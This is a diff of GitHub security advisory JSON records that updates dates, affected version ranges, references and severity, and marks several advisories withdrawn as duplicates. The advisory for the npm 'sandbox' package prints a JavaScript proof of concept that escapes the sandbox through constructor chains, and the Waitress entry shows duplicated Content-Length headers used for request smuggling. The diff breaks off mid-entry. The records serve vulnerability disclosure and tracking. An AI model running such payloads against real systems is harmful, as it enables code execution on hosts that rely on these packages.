diff --git a/advisories/github-reviewed/2017/10/GHSA-4whc-pp4x-9pf3/GHSA-4whc-pp4x-9pf3.json b/advisories/github-reviewed/2017/10/GHSA-4whc-pp4x-9pf3/GHSA-4whc-pp4x-9pf3.json index 50e8c6984c581..4f289ec4ff766 100644 --- a/advisories/github-reviewed/2017/10/GHSA-4whc-pp4x-9pf3/GHSA-4whc-pp4x-9pf3.json +++ b/advisories/github-reviewed/2017/10/GHSA-4whc-pp4x-9pf3/GHSA-4whc-pp4x-9pf3.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-4whc-pp4x-9pf3", - "modified": "2023-01-20T22:28:49Z", + "modified": "2026-01-14T21:44:14Z", "published": "2017-10-24T18:33:36Z", "aliases": [ "CVE-2015-1840" @@ -89,6 +89,10 @@ "type": "WEB", "url": "https://github.com/rails/jquery-ujs/blob/master/CHANGELOG.md" }, + { + "type": "WEB", + "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/jquery-rails/CVE-2015-1840.yml" + }, { "type": "WEB", "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/jquery-ujs/CVE-2015-1840.yml" @@ -129,6 +133,6 @@ "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2020-06-16T20:59:28Z", - "nvd_published_at": null + "nvd_published_at": "2015-07-26T22:59:00Z" } } \ No newline at end of file diff --git a/advisories/github-reviewed/2017/10/GHSA-x6fg-f45m-jf5q/GHSA-x6fg-f45m-jf5q.json b/advisories/github-reviewed/2017/10/GHSA-x6fg-f45m-jf5q/GHSA-x6fg-f45m-jf5q.json index 53669ce51df56..af93c399869d2 100644 --- a/advisories/github-reviewed/2017/10/GHSA-x6fg-f45m-jf5q/GHSA-x6fg-f45m-jf5q.json +++ b/advisories/github-reviewed/2017/10/GHSA-x6fg-f45m-jf5q/GHSA-x6fg-f45m-jf5q.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-x6fg-f45m-jf5q", - "modified": "2021-09-21T22:15:35Z", + "modified": "2026-03-03T20:03:27Z", "published": "2017-10-24T18:33:36Z", "aliases": [ "CVE-2015-8855" @@ -25,7 +25,7 @@ "type": "ECOSYSTEM", "events": [ { - "introduced": "0" + "introduced": "1.0.4" }, { "fixed": "4.3.2" @@ -40,10 +40,26 @@ "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-8855" }, + { + "type": "WEB", + "url": "https://github.com/github/advisory-database/pull/7102" + }, + { + "type": "WEB", + "url": "https://github.com/npm/node-semver/commit/5c4c9f6e26c7052a42b5ced2a7481c5c9b4363a0" + }, + { + "type": "WEB", + "url": "https://github.com/npm/node-semver/commit/c80180d8341a8ada0236815c29a2be59864afd70" + }, { "type": "ADVISORY", "url": "https://github.com/advisories/GHSA-x6fg-f45m-jf5q" }, + { + "type": "PACKAGE", + "url": "https://github.com/npm/node-semver" + }, { "type": "WEB", "url": "https://www.npmjs.com/advisories/31" @@ -68,6 +84,6 @@ "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2020-06-16T22:02:25Z", - "nvd_published_at": null + "nvd_published_at": "2017-01-23T21:59:00Z" } } \ No newline at end of file diff --git a/advisories/github-reviewed/2018/08/GHSA-pv4c-p2j5-38j4/GHSA-pv4c-p2j5-38j4.json b/advisories/github-reviewed/2018/08/GHSA-pv4c-p2j5-38j4/GHSA-pv4c-p2j5-38j4.json index 0f81f1bfe41b6..b88360c0774e9 100644 --- a/advisories/github-reviewed/2018/08/GHSA-pv4c-p2j5-38j4/GHSA-pv4c-p2j5-38j4.json +++ b/advisories/github-reviewed/2018/08/GHSA-pv4c-p2j5-38j4/GHSA-pv4c-p2j5-38j4.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-pv4c-p2j5-38j4", - "modified": "2023-09-11T22:06:04Z", + "modified": "2026-01-23T20:10:56Z", "published": "2018-08-13T15:02:15Z", "aliases": [ "CVE-2018-3774" @@ -25,7 +25,7 @@ "type": "ECOSYSTEM", "events": [ { - "introduced": "0" + "introduced": "1.0.0" }, { "fixed": "1.4.3" @@ -40,6 +40,10 @@ "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-3774" }, + { + "type": "WEB", + "url": "https://github.com/unshiftio/url-parse/commit/209c296d302317268afbe19700a70c63ecbeb2d2" + }, { "type": "WEB", "url": "https://github.com/unshiftio/url-parse/commit/53b1794e54d0711ceb52505e0f74145270570d5a" @@ -53,12 +57,12 @@ "url": "https://hackerone.com/reports/384029" }, { - "type": "ADVISORY", - "url": "https://github.com/advisories/GHSA-pv4c-p2j5-38j4" + "type": "PACKAGE", + "url": "https://github.com/unshiftio/url-parse" }, { "type": "WEB", - "url": "https://www.npmjs.com/advisories/678" + "url": "https://github.com/unshiftio/url-parse/compare/0.2.3...1.0.0" } ], "database_specific": { diff --git a/advisories/github-reviewed/2019/02/GHSA-j6p2-cx3w-6jcp/GHSA-j6p2-cx3w-6jcp.json b/advisories/github-reviewed/2019/02/GHSA-j6p2-cx3w-6jcp/GHSA-j6p2-cx3w-6jcp.json index 6359d78382e04..0946909356fd0 100644 --- a/advisories/github-reviewed/2019/02/GHSA-j6p2-cx3w-6jcp/GHSA-j6p2-cx3w-6jcp.json +++ b/advisories/github-reviewed/2019/02/GHSA-j6p2-cx3w-6jcp/GHSA-j6p2-cx3w-6jcp.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-j6p2-cx3w-6jcp", - "modified": "2023-09-13T23:00:58Z", + "modified": "2026-01-16T22:08:33Z", "published": "2019-02-18T23:39:55Z", "aliases": [ "CVE-2016-10537" @@ -25,7 +25,7 @@ "type": "ECOSYSTEM", "events": [ { - "introduced": "0" + "introduced": "0.3.3" }, { "fixed": "0.5.0" @@ -44,21 +44,25 @@ "type": "WEB", "url": "https://github.com/jashkenas/backbone/commit/0cdc525961d3fa98e810ffae6bcc8e3838e36d93" }, + { + "type": "WEB", + "url": "https://github.com/jashkenas/backbone/commit/7ae0384120c2552e1c426cda7fb02fdce6ef1076" + }, { "type": "WEB", "url": "https://backbonejs.org/#changelog" }, { - "type": "ADVISORY", - "url": "https://github.com/advisories/GHSA-j6p2-cx3w-6jcp" + "type": "PACKAGE", + "url": "https://github.com/jashkenas/backbone" }, { "type": "WEB", - "url": "https://github.com/jashkenas/backbone/compare/0.3.3...0.5.0#diff-0d56d0d310de7ff18b3cef9c2f8f75dcL1008" + "url": "https://github.com/jashkenas/backbone/blame/0cdc525961d3fa98e810ffae6bcc8e3838e36d93/backbone.js" }, { "type": "WEB", - "url": "https://www.npmjs.com/advisories/108" + "url": "https://github.com/jashkenas/backbone/compare/0.3.3...0.5.0#diff-0d56d0d310de7ff18b3cef9c2f8f75dcL1008" } ], "database_specific": { diff --git a/advisories/github-reviewed/2019/02/GHSA-qrmc-fj45-qfc2/GHSA-qrmc-fj45-qfc2.json b/advisories/github-reviewed/2019/02/GHSA-qrmc-fj45-qfc2/GHSA-qrmc-fj45-qfc2.json index 06e1279a1559e..b130f3d92634d 100644 --- a/advisories/github-reviewed/2019/02/GHSA-qrmc-fj45-qfc2/GHSA-qrmc-fj45-qfc2.json +++ b/advisories/github-reviewed/2019/02/GHSA-qrmc-fj45-qfc2/GHSA-qrmc-fj45-qfc2.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-qrmc-fj45-qfc2", - "modified": "2020-08-31T18:43:30Z", + "modified": "2026-01-22T21:48:14Z", "published": "2019-02-07T18:03:28Z", "aliases": [ "CVE-2018-16492" @@ -39,7 +39,7 @@ "type": "ECOSYSTEM", "events": [ { - "introduced": "0" + "introduced": "1.1.3" }, { "fixed": "2.0.2" @@ -56,15 +56,23 @@ }, { "type": "WEB", - "url": "https://hackerone.com/reports/381185" + "url": "https://github.com/github/advisory-database/pull/6695" }, { - "type": "ADVISORY", - "url": "https://github.com/advisories/GHSA-qrmc-fj45-qfc2" + "type": "WEB", + "url": "https://github.com/justmoon/node-extend/pull/48" }, { "type": "WEB", - "url": "https://www.npmjs.com/advisories/996" + "url": "https://github.com/justmoon/node-extend/commit/0e68e71d93507fcc391e398bc84abd0666b28190" + }, + { + "type": "WEB", + "url": "https://hackerone.com/reports/381185" + }, + { + "type": "PACKAGE", + "url": "https://github.com/justmoon/node-extend" } ], "database_specific": { diff --git a/advisories/github-reviewed/2019/05/GHSA-qr32-j4j6-3m7r/GHSA-qr32-j4j6-3m7r.json b/advisories/github-reviewed/2019/05/GHSA-qr32-j4j6-3m7r/GHSA-qr32-j4j6-3m7r.json index 6215469ab6d82..228a489745a26 100644 --- a/advisories/github-reviewed/2019/05/GHSA-qr32-j4j6-3m7r/GHSA-qr32-j4j6-3m7r.json +++ b/advisories/github-reviewed/2019/05/GHSA-qr32-j4j6-3m7r/GHSA-qr32-j4j6-3m7r.json @@ -1,13 +1,14 @@ { "schema_version": "1.4.0", "id": "GHSA-qr32-j4j6-3m7r", - "modified": "2020-08-31T18:20:27Z", + "modified": "2026-01-23T22:50:14Z", "published": "2019-05-29T20:23:00Z", + "withdrawn": "2026-01-23T22:50:14Z", "aliases": [ "CVE-2017-16087" ], - "summary": "Command Injection in fs-git", - "details": "Affected versions of `fs-git` do not sanitize strings passed into the `buildCommand` method, resulting in arbitrary code execution.\n\n\n## Recommendation\n\nUpdate to version 1.0.2 or later. ", + "summary": "Duplicate Advisory: Command Injection in fs-git", + "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-wp3j-gv53-4pg8. This link is maintained to preserve external references.\n\n## Original Description\nAffected versions of `fs-git` do not sanitize strings passed into the `buildCommand` method, resulting in arbitrary code execution.\n\n\n## Recommendation\n\nUpdate to version 1.0.2 or later.", "severity": [], "affected": [ { diff --git a/advisories/github-reviewed/2019/05/GHSA-vmhw-fhj6-m3g5/GHSA-vmhw-fhj6-m3g5.json b/advisories/github-reviewed/2019/05/GHSA-vmhw-fhj6-m3g5/GHSA-vmhw-fhj6-m3g5.json index 973d93994f746..5654c7e079d4f 100644 --- a/advisories/github-reviewed/2019/05/GHSA-vmhw-fhj6-m3g5/GHSA-vmhw-fhj6-m3g5.json +++ b/advisories/github-reviewed/2019/05/GHSA-vmhw-fhj6-m3g5/GHSA-vmhw-fhj6-m3g5.json @@ -1,12 +1,17 @@ { "schema_version": "1.4.0", "id": "GHSA-vmhw-fhj6-m3g5", - "modified": "2020-08-31T18:31:33Z", + "modified": "2026-02-11T22:27:32Z", "published": "2019-05-31T23:46:33Z", "aliases": [], "summary": "Path Traversal in angular-http-server", "details": "Versions of `angular-http-server` before 1.4.4 are vulnerable to path traversal.\n\n\n## Recommendation\n\nUpdate to version 1.4.4 or later.", - "severity": [], + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" + } + ], "affected": [ { "package": { @@ -37,6 +42,10 @@ "type": "WEB", "url": "https://hackerone.com/reports/330349" }, + { + "type": "PACKAGE", + "url": "https://github.com/simonh1000/angular-http-server" + }, { "type": "WEB", "url": "https://www.npmjs.com/advisories/656" diff --git a/advisories/github-reviewed/2019/06/GHSA-3fc5-9x9m-vqc4/GHSA-3fc5-9x9m-vqc4.json b/advisories/github-reviewed/2019/06/GHSA-3fc5-9x9m-vqc4/GHSA-3fc5-9x9m-vqc4.json index c9ca52ca8d5da..a27bceb0fdb16 100644 --- a/advisories/github-reviewed/2019/06/GHSA-3fc5-9x9m-vqc4/GHSA-3fc5-9x9m-vqc4.json +++ b/advisories/github-reviewed/2019/06/GHSA-3fc5-9x9m-vqc4/GHSA-3fc5-9x9m-vqc4.json @@ -1,11 +1,12 @@ { "schema_version": "1.4.0", "id": "GHSA-3fc5-9x9m-vqc4", - "modified": "2021-08-04T21:25:59Z", + "modified": "2026-02-03T19:36:21Z", "published": "2019-06-03T17:31:32Z", + "withdrawn": "2026-02-03T19:36:21Z", "aliases": [], - "summary": "Privilege Escalation in express-cart", - "details": "Versions of `express-cart` before 1.1.6 are vulnerable to privilege escalation. This vulnerability can be exploited so that normal users can escalate their privilege and add new administrator users.\n\n\n## Recommendation\n\nUpdate to version 1.1.6 or later.", + "summary": "Duplicate Advisory: Privilege Escalation in express-cart", + "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-hr89-w7p6-pjmq. This link is maintained to preserve external references.\n\n## Original Description\nVersions of `express-cart` before 1.1.6 are vulnerable to privilege escalation. This vulnerability can be exploited so that normal users can escalate their privilege and add new administrator users.\n\n\n## Recommendation\n\nUpdate to version 1.1.6 or later.", "severity": [ { "type": "CVSS_V3", diff --git a/advisories/github-reviewed/2019/06/GHSA-g95f-p29q-9xw4/GHSA-g95f-p29q-9xw4.json b/advisories/github-reviewed/2019/06/GHSA-g95f-p29q-9xw4/GHSA-g95f-p29q-9xw4.json index 67ab9e778872b..b276f3a431e23 100644 --- a/advisories/github-reviewed/2019/06/GHSA-g95f-p29q-9xw4/GHSA-g95f-p29q-9xw4.json +++ b/advisories/github-reviewed/2019/06/GHSA-g95f-p29q-9xw4/GHSA-g95f-p29q-9xw4.json @@ -1,11 +1,12 @@ { "schema_version": "1.4.0", "id": "GHSA-g95f-p29q-9xw4", - "modified": "2021-08-04T21:35:07Z", + "modified": "2026-02-03T17:47:36Z", "published": "2019-06-06T15:30:30Z", + "withdrawn": "2026-02-03T17:47:36Z", "aliases": [], - "summary": "Regular Expression Denial of Service in braces", - "details": "Versions of `braces` prior to 2.3.1 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.\n\n\n## Recommendation\n\nUpgrade to version 2.3.1 or higher.", + "summary": "Duplicate Advisory: Regular Expression Denial of Service in braces", + "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-cwfw-4gq5-mrqx. This link is maintained to preserve external references.\n\n## Original Description\nVersions of `braces` prior to 2.3.1 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.\n\n\n## Recommendation\n\nUpgrade to version 2.3.1 or higher.", "severity": [ { "type": "CVSS_V3", diff --git a/advisories/github-reviewed/2019/06/GHSA-w7q7-vjp8-7jv4/GHSA-w7q7-vjp8-7jv4.json b/advisories/github-reviewed/2019/06/GHSA-w7q7-vjp8-7jv4/GHSA-w7q7-vjp8-7jv4.json index 370e7fde573b9..fdca58b905280 100644 --- a/advisories/github-reviewed/2019/06/GHSA-w7q7-vjp8-7jv4/GHSA-w7q7-vjp8-7jv4.json +++ b/advisories/github-reviewed/2019/06/GHSA-w7q7-vjp8-7jv4/GHSA-w7q7-vjp8-7jv4.json @@ -1,12 +1,17 @@ { "schema_version": "1.4.0", "id": "GHSA-w7q7-vjp8-7jv4", - "modified": "2020-08-31T18:36:13Z", + "modified": "2026-02-11T22:05:23Z", "published": "2019-06-06T15:30:16Z", "aliases": [], "summary": "SQL Injection in typeorm", "details": "Versions of `typeorm` before 0.1.15 are vulnerable to SQL Injection. Field names are not properly validated allowing attackers to inject SQL statements and execute arbitrary SQL queries.\n\n\n## Recommendation\n\nUpgrade to version 0.1.15", - "severity": [], + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" + } + ], "affected": [ { "package": { @@ -37,6 +42,10 @@ "type": "WEB", "url": "https://hackerone.com/reports/319458" }, + { + "type": "PACKAGE", + "url": "https://github.com/typeorm/typeorm" + }, { "type": "WEB", "url": "https://www.npmjs.com/advisories/800" @@ -46,7 +55,7 @@ "cwe_ids": [ "CWE-89" ], - "severity": "HIGH", + "severity": "CRITICAL", "github_reviewed": true, "github_reviewed_at": "2019-06-05T21:25:43Z", "nvd_published_at": null diff --git a/advisories/github-reviewed/2019/07/GHSA-hf23-9pf7-388p/GHSA-hf23-9pf7-388p.json b/advisories/github-reviewed/2019/07/GHSA-hf23-9pf7-388p/GHSA-hf23-9pf7-388p.json index 9e1feca142119..6b1268c57db52 100644 --- a/advisories/github-reviewed/2019/07/GHSA-hf23-9pf7-388p/GHSA-hf23-9pf7-388p.json +++ b/advisories/github-reviewed/2019/07/GHSA-hf23-9pf7-388p/GHSA-hf23-9pf7-388p.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-hf23-9pf7-388p", - "modified": "2025-04-01T16:33:05Z", + "modified": "2026-02-24T15:32:32Z", "published": "2019-07-26T16:09:47Z", "aliases": [ "CVE-2019-10173" @@ -25,7 +25,7 @@ "type": "ECOSYSTEM", "events": [ { - "introduced": "0" + "introduced": "1.4.10" }, { "fixed": "1.4.11" @@ -33,9 +33,9 @@ ] } ], - "database_specific": { - "last_known_affected_version_range": "<= 1.4.10" - } + "versions": [ + "1.4.10" + ] } ], "references": [ diff --git a/advisories/github-reviewed/2019/12/GHSA-4ppp-gpcr-7qf6/GHSA-4ppp-gpcr-7qf6.json b/advisories/github-reviewed/2019/12/GHSA-4ppp-gpcr-7qf6/GHSA-4ppp-gpcr-7qf6.json index cd5ff17d647e2..bc4a545512d2f 100644 --- a/advisories/github-reviewed/2019/12/GHSA-4ppp-gpcr-7qf6/GHSA-4ppp-gpcr-7qf6.json +++ b/advisories/github-reviewed/2019/12/GHSA-4ppp-gpcr-7qf6/GHSA-4ppp-gpcr-7qf6.json @@ -1,9 +1,11 @@ { "schema_version": "1.4.0", "id": "GHSA-4ppp-gpcr-7qf6", - "modified": "2022-03-24T17:52:19Z", + "modified": "2026-01-22T22:34:11Z", "published": "2019-12-20T23:04:35Z", - "aliases": [], + "aliases": [ + "CVE-2019-16792" + ], "summary": "HTTP Request Smuggling: Content-Length Sent Twice in Waitress", "details": "### Impact\n\nWaitress would header fold a double `Content-Length` header and due to being unable to cast the now comma separated value to an integer would set the `Content-Length` to 0 internally.\n\nSo a request with:\n\n```\nContent-Length: 10\nContent-Length: 10\n```\n\nwould get transformed to:\n\n```\nContent-Length: 10, 10\n```\n\nWhich would Waitress would then internally set to `Content-Lenght: 0`.\n\nWaitress would then treat the request as having no body, thereby treating the body of the request as a new request in HTTP pipelining.\n\n### Patches\n\nThis issue is fixed in Waitress 1.4.0. This brings a range of changes to harden Waitress against potential HTTP request confusions, and may change the behaviour of Waitress behind non-conformist proxies. \n\nThe Pylons Project recommends upgrading as soon as possible, while validating that the changes in Waitress don't cause any changes in behavior.\n\n### Workarounds\n\nVarious reverse proxies may have protections against sending potentially bad HTTP requests to the backend, and or hardening against potential issues like this. If the reverse proxy doesn't use HTTP/1.1 for connecting to the backend issues are also somewhat mitigated, as HTTP pipelining does not exist in HTTP/1.0 and Waitress will close the connection after every single request (unless the Keep Alive header is explicitly sent... so this is not a fool proof security method).\n\n### Issues/more security issues:\n\n* open an issue at https://github.com/Pylons/waitress/issues (if not sensitive or security related)\n* email the Pylons Security mailing list: pylons-project-security@googlegroups.com (if security related)", "severity": [], @@ -33,6 +35,10 @@ "type": "WEB", "url": "https://github.com/Pylons/waitress/security/advisories/GHSA-4ppp-gpcr-7qf6" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-16792" + }, { "type": "WEB", "url": "https://github.com/Pylons/waitress/commit/575994cd42e83fd772a5f7ec98b2c56751bd3f65" @@ -46,12 +52,16 @@ "url": "https://github.com/Pylons/waitress" }, { - "type": "ADVISORY", - "url": "https://github.com/advisories/GHSA-j7j6-7hfx-5522" + "type": "WEB", + "url": "https://github.com/pypa/advisory-database/tree/main/vulns/waitress/PYSEC-2020-178.yaml" }, { "type": "WEB", - "url": "https://github.com/pypa/advisory-database/tree/main/vulns/waitress/PYSEC-2020-178.yaml" + "url": "https://lists.debian.org/debian-lts-announce/2022/05/msg00011.html" + }, + { + "type": "WEB", + "url": "https://www.oracle.com/security-alerts/cpuapr2022.html" } ], "database_specific": { diff --git a/advisories/github-reviewed/2020/05/GHSA-wh69-wc6q-7888/GHSA-wh69-wc6q-7888.json b/advisories/github-reviewed/2020/05/GHSA-wh69-wc6q-7888/GHSA-wh69-wc6q-7888.json index 254ebf8109e93..9929cd3891af8 100644 --- a/advisories/github-reviewed/2020/05/GHSA-wh69-wc6q-7888/GHSA-wh69-wc6q-7888.json +++ b/advisories/github-reviewed/2020/05/GHSA-wh69-wc6q-7888/GHSA-wh69-wc6q-7888.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-wh69-wc6q-7888", - "modified": "2021-11-04T17:08:10Z", + "modified": "2026-01-14T22:17:20Z", "published": "2020-05-28T18:42:59Z", "aliases": [ "CVE-2020-11079" @@ -25,7 +25,7 @@ "type": "ECOSYSTEM", "events": [ { - "introduced": "0" + "introduced": "0.1.3" }, { "fixed": "0.2.1" diff --git a/advisories/github-reviewed/2020/09/GHSA-4xf9-pgvv-xx67/GHSA-4xf9-pgvv-xx67.json b/advisories/github-reviewed/2020/09/GHSA-4xf9-pgvv-xx67/GHSA-4xf9-pgvv-xx67.json index 7ec7236e88eaa..698e6e1ae788e 100644 --- a/advisories/github-reviewed/2020/09/GHSA-4xf9-pgvv-xx67/GHSA-4xf9-pgvv-xx67.json +++ b/advisories/github-reviewed/2020/09/GHSA-4xf9-pgvv-xx67/GHSA-4xf9-pgvv-xx67.json @@ -1,11 +1,12 @@ { "schema_version": "1.4.0", "id": "GHSA-4xf9-pgvv-xx67", - "modified": "2021-09-29T18:16:33Z", + "modified": "2026-02-03T17:52:55Z", "published": "2020-09-03T20:27:46Z", + "withdrawn": "2026-02-03T17:52:55Z", "aliases": [], - "summary": "Regular Expression Denial of Service in simple-markdown", - "details": "Versions of `simple-markdown` prior to 0.5.2 are vulnerable to Regular Expression Denial of Service (ReDoS). The `SimpleMarkdown.defaultInlineParse()` function has significantly degraded performance when parsing inline code blocks.\n\n\n## Recommendation\n\nUpgrade to version 0.5.2 or later.", + "summary": "Duplicate Advisory: Regular Expression Denial of Service in simple-markdown", + "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-gpvj-gp8c-c7p2. This link is maintained to preserve external references.\n\n## Original Description\n\nVersions of `simple-markdown` prior to 0.5.2 are vulnerable to Regular Expression Denial of Service (ReDoS). The `SimpleMarkdown.defaultInlineParse()` function has significantly degraded performance when parsing inline code blocks.\n\n\n## Recommendation\n\nUpgrade to version 0.5.2 or later.", "severity": [ { "type": "CVSS_V3", diff --git a/advisories/github-reviewed/2020/09/GHSA-8whr-v3gm-w8h9/GHSA-8whr-v3gm-w8h9.json b/advisories/github-reviewed/2020/09/GHSA-8whr-v3gm-w8h9/GHSA-8whr-v3gm-w8h9.json index e007ec263e118..3ded12d210f85 100644 --- a/advisories/github-reviewed/2020/09/GHSA-8whr-v3gm-w8h9/GHSA-8whr-v3gm-w8h9.json +++ b/advisories/github-reviewed/2020/09/GHSA-8whr-v3gm-w8h9/GHSA-8whr-v3gm-w8h9.json @@ -1,11 +1,12 @@ { "schema_version": "1.4.0", "id": "GHSA-8whr-v3gm-w8h9", - "modified": "2021-10-04T21:08:30Z", + "modified": "2026-01-23T22:49:42Z", "published": "2020-09-03T15:51:04Z", + "withdrawn": "2026-01-23T22:49:42Z", "aliases": [], - "summary": "Command Injection in node-rules", - "details": "Versions of `node-rules` prior to 5.0.0 are vulnerable to Command Injection. The package fails to sanitize input rules and passes it directly to an `eval` call when using the `fromJSON` function. This may allow attackers to execute arbitrary code in the system if the rules are user-controlled.\n\n\n## Recommendation\n\nUpgrade to version 5.0.0 or later.", + "summary": "Duplicate Advisory: Command Injection in node-rules", + "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-f78f-353m-cf4j. This link is maintained to preserve external references.\n\n## Original Description\nVersions of `node-rules` prior to 5.0.0 are vulnerable to Command Injection. The package fails to sanitize input rules and passes it directly to an `eval` call when using the `fromJSON` function. This may allow attackers to execute arbitrary code in the system if the rules are user-controlled.\n\n\n## Recommendation\n\nUpgrade to version 5.0.0 or later.", "severity": [ { "type": "CVSS_V3", diff --git a/advisories/github-reviewed/2020/09/GHSA-9p2w-rmx4-9mw7/GHSA-9p2w-rmx4-9mw7.json b/advisories/github-reviewed/2020/09/GHSA-9p2w-rmx4-9mw7/GHSA-9p2w-rmx4-9mw7.json index c4ad44c445679..6b3e0d277a8cb 100644 --- a/advisories/github-reviewed/2020/09/GHSA-9p2w-rmx4-9mw7/GHSA-9p2w-rmx4-9mw7.json +++ b/advisories/github-reviewed/2020/09/GHSA-9p2w-rmx4-9mw7/GHSA-9p2w-rmx4-9mw7.json @@ -1,12 +1,19 @@ { "schema_version": "1.4.0", "id": "GHSA-9p2w-rmx4-9mw7", - "modified": "2021-10-04T19:12:12Z", + "modified": "2025-12-29T15:34:55Z", "published": "2020-09-04T16:54:02Z", - "aliases": [], + "aliases": [ + "CVE-2019-19609" + ], "summary": "Command Injection in strapi", "details": "Versions of `strapi` before 3.0.0-beta.17.8 are vulnerable to Command Injection. The package fails to sanitize plugin names in the `/admin/plugins/install/` route. This may allow an authenticated attacker with admin privileges to run arbitrary commands in the server.\n\n\n## Recommendation\n\nUpgrade to version 3.0.0-beta.17.8 or later", - "severity": [], + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H" + } + ], "affected": [ { "package": { @@ -32,6 +39,18 @@ } ], "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-19609" + }, + { + "type": "WEB", + "url": "https://github.com/strapi/strapi/pull/4636" + }, + { + "type": "WEB", + "url": "https://bittherapy.net/post/strapi-framework-remote-code-execution" + }, { "type": "PACKAGE", "url": "https://github.com/strapi/strapi" @@ -39,6 +58,14 @@ { "type": "WEB", "url": "https://www.npmjs.com/advisories/1424" + }, + { + "type": "WEB", + "url": "http://packetstormsecurity.com/files/163940/Strapi-3.0.0-beta.17.7-Remote-Code-Execution.html" + }, + { + "type": "WEB", + "url": "http://packetstormsecurity.com/files/163950/Strapi-CMS-3.0.0-beta.17.4-Remote-Code-Execution.html" } ], "database_specific": { diff --git a/advisories/github-reviewed/2020/09/GHSA-fm4j-4xhm-xpwx/GHSA-fm4j-4xhm-xpwx.json b/advisories/github-reviewed/2020/09/GHSA-fm4j-4xhm-xpwx/GHSA-fm4j-4xhm-xpwx.json index efc6b32679ff0..d4ac5b8690610 100644 --- a/advisories/github-reviewed/2020/09/GHSA-fm4j-4xhm-xpwx/GHSA-fm4j-4xhm-xpwx.json +++ b/advisories/github-reviewed/2020/09/GHSA-fm4j-4xhm-xpwx/GHSA-fm4j-4xhm-xpwx.json @@ -1,11 +1,11 @@ { "schema_version": "1.4.0", "id": "GHSA-fm4j-4xhm-xpwx", - "modified": "2020-08-31T18:34:58Z", + "modified": "2026-02-02T23:13:21Z", "published": "2020-09-02T15:51:34Z", "aliases": [], "summary": "Sandbox Breakout / Arbitrary Code Execution in sandbox", - "details": "All versions of `sandbox` are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.\n\n## Proof of concept\n```\nvar Sandbox = require(\"sandbox\")\ns = new Sandbox()\ncode = `new Function(\"return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())\")()(\"util\").inspect(\"hi\")`\ns.run(code)\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", + "details": "All versions of `sandbox` through 0.8.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.\n\n## Proof of concept\n```\nvar Sandbox = require(\"sandbox\")\ns = new Sandbox()\ncode = `new Function(\"return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())\")()(\"util\").inspect(\"hi\")`\ns.run(code)\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": [], "affected": [ { @@ -22,7 +22,10 @@ } ] } - ] + ], + "database_specific": { + "last_known_affected_version_range": "< 1.0.0" + } } ], "references": [ diff --git a/advisories/github-reviewed/2020/09/GHSA-gc25-3vc5-2jf9/GHSA-gc25-3vc5-2jf9.json b/advisories/github-reviewed/2020/09/GHSA-gc25-3vc5-2jf9/GHSA-gc25-3vc5-2jf9.json index 3ff5a6408c89d..c08629bc6e947 100644 --- a/advisories/github-reviewed/2020/09/GHSA-gc25-3vc5-2jf9/GHSA-gc25-3vc5-2jf9.json +++ b/advisories/github-reviewed/2020/09/GHSA-gc25-3vc5-2jf9/GHSA-gc25-3vc5-2jf9.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-gc25-3vc5-2jf9", - "modified": "2020-08-31T18:54:57Z", + "modified": "2026-02-02T23:12:39Z", "published": "2020-09-04T15:00:58Z", "aliases": [], "summary": "Sandbox Breakout / Arbitrary Code Execution in sandbox", @@ -22,7 +22,10 @@ } ] } - ] + ], + "database_specific": { + "last_known_affected_version_range": "< 1.0.0" + } } ], "references": [ diff --git a/advisories/github-reviewed/2020/09/GHSA-mmqv-m45h-q2hp/GHSA-mmqv-m45h-q2hp.json b/advisories/github-reviewed/2020/09/GHSA-mmqv-m45h-q2hp/GHSA-mmqv-m45h-q2hp.json index f34761b4c8015..34289c0631eb4 100644 --- a/advisories/github-reviewed/2020/09/GHSA-mmqv-m45h-q2hp/GHSA-mmqv-m45h-q2hp.json +++ b/advisories/github-reviewed/2020/09/GHSA-mmqv-m45h-q2hp/GHSA-mmqv-m45h-q2hp.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": 